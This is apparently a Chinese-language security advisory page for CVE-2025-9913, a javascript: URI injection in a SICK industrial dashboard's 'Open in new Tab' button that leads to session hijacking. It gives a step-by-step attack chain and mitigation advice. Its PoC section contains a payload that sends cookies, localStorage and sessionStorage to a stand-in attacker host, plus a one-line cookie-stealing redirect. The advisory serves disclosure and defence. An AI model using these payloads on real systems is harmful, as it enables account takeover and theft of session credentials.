IPBUF安全漏洞报告
English
CVE-2025-9913 CVSS 4.5 中危

SICK产品仪表板Open in New Tab功能JavaScript注入会话劫持漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-9913
漏洞类型
JavaScript注入/会话劫持
CVSS评分
4.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SICK AG 工业自动化产品(Web仪表板组件)

相关标签

JavaScript注入会话劫持XSSjavascript:协议SICK工业自动化ICSWeb安全仪表板漏洞中危漏洞

漏洞概述

CVE-2025-9913是SICK AG公司工业自动化产品中Web仪表板组件存在的一个安全漏洞。该漏洞由SICK PSIRT(产品安全事件响应团队)发现并报告,CVSS 3.1评分为4.5分,属于中危级别。

该漏洞的核心问题在于仪表板(Dashboard)中的"在新标签页中打开"(Open in new Tab)按钮功能存在安全缺陷。当用户点击该按钮时,系统允许通过javascript:伪协议在浏览器地址栏中执行JavaScript代码。攻击者可以利用这一缺陷,在受害者的浏览器上下文中执行任意JavaScript代码,从而实现会话劫持(Session Hijacking)攻击。

由于该漏洞需要高权限(PR:H)才能利用,表明攻击者需要先获得某种级别的系统访问权限才能触发此漏洞。同时,漏洞利用需要用户交互(UI:R),即需要受害者主动点击恶意链接或按钮。这在一定程度上限制了漏洞的可利用性,但一旦成功利用,攻击者可以窃取用户的会话凭证,获取对系统的未授权访问权限,对机密性造成高影响(C:H)。

SICK AG作为全球领先的工业传感器和自动化解决方案提供商,其产品广泛应用于工业制造、物流、过程自动化等领域。此类安全漏洞可能对工业控制系统(ICS)的安全运营构成潜在威胁,CISA也将其纳入了ICS安全实践的关注范围。

技术细节

该漏洞的技术原理基于javascript: URI协议的滥用。在Web浏览器中,javascript:伪协议允许在地址栏中直接执行JavaScript代码,通常用于书签脚本(bookmarklet)等功能。然而,当Web应用程序不正确地处理用户提供的URL或链接时,攻击者可以注入恶意javascript: URI。

在SICK产品的仪表板中,"Open in new Tab"按钮功能没有对目标URL进行充分的验证和过滤,允许javascript:伪协议被传递到浏览器的地址栏执行。攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能触发。

利用方式如下:
1. 攻击者(已获得一定系统权限)构造一个包含恶意javascript: URI的链接
2. 通过仪表板的"Open in new Tab"功能触发该URI
3. 恶意JavaScript代码在受害者浏览器上下文中执行
4. 代码可以窃取会话Cookie、令牌等敏感信息
5. 攻击者利用窃取的会话信息劫持用户会话

由于漏洞影响机密性为高(C:H),但完整性和可用性不受影响(I:N, A:N),表明此漏洞主要用于信息窃取而非系统破坏。攻击者通过会话劫持可以访问受害者的权限范围内的所有数据和功能,可能导致敏感工业数据泄露。

攻击链分析

STEP 1
步骤1:初始访问
攻击者需要先获得系统的高权限访问权限(PR:H),这可能通过其他漏洞、社会工程学或内部威胁实现
STEP 2
步骤2:构造恶意URI
攻击者构造包含javascript:伪协议的恶意URI,URI中嵌入用于窃取会话凭证的JavaScript代码
STEP 3
步骤3:社工诱导
攻击者通过钓鱼邮件、内部消息等方式诱导受害者点击仪表板中的"Open in new Tab"按钮,触发恶意URI
STEP 4
步骤4:JavaScript执行
恶意JavaScript代码在受害者浏览器上下文中执行,访问document.cookie、localStorage等敏感数据
STEP 5
步骤5:数据外泄
窃取的会话凭证通过HTTP请求发送到攻击者控制的服务器
STEP 6
步骤6:会话劫持
攻击者利用窃取的会话Cookie或令牌劫持受害者会话,以受害者身份访问系统资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-9913 PoC: JavaScript Injection via Dashboard "Open in new Tab" Button --> <!-- This PoC demonstrates how javascript: URI can be injected through the dashboard's "Open in new Tab" functionality --> <!-- Malicious link that exploits the vulnerability when clicked via "Open in new Tab" --> <a href="javascript:void((function(){ // Steal session cookie and send to attacker server var sessionData = document.cookie; var img = new Image(); img.src = 'https://attacker-server.com/steal?data=' + encodeURIComponent(sessionData); // Also steal localStorage/sessionStorage tokens var localData = JSON.stringify({ localStorage: localStorage, sessionStorage: sessionStorage, cookies: document.cookie }); // Exfiltrate via fetch fetch('https://attacker-server.com/exfil', { method: 'POST', body: localData, headers: {'Content-Type': 'application/json'} }); })())"> Click to Open Dashboard </a> <!-- Alternative: Direct javascript: payload for address bar execution --> <!-- javascript:void(document.location='https://attacker.com/steal?c='+document.cookie) --> <!-- * Attack Flow: * 1. Attacker with high privileges crafts malicious javascript: URI * 2. Victim clicks "Open in new Tab" on dashboard * 3. JavaScript executes in the context of the dashboard application * 4. Session cookies/tokens are exfiltrated to attacker's server * 5. Attacker uses stolen session to hijack victim's session */

影响范围

SICK相关产品(具体版本信息请参考SICK官方CSAF公告 sca-2025-0010)

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1)对仪表板访问实施严格的权限控制,限制高权限用户的数量;2)在浏览器层面部署内容安全策略(CSP),阻止javascript:伪协议执行;3)监控异常的网络出站连接,及时发现数据外泄行为;4)对关键会话实施多因素认证(MFA),即使会话被劫持也能提供额外保护;5)定期轮换会话令牌,缩短会话有效期。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表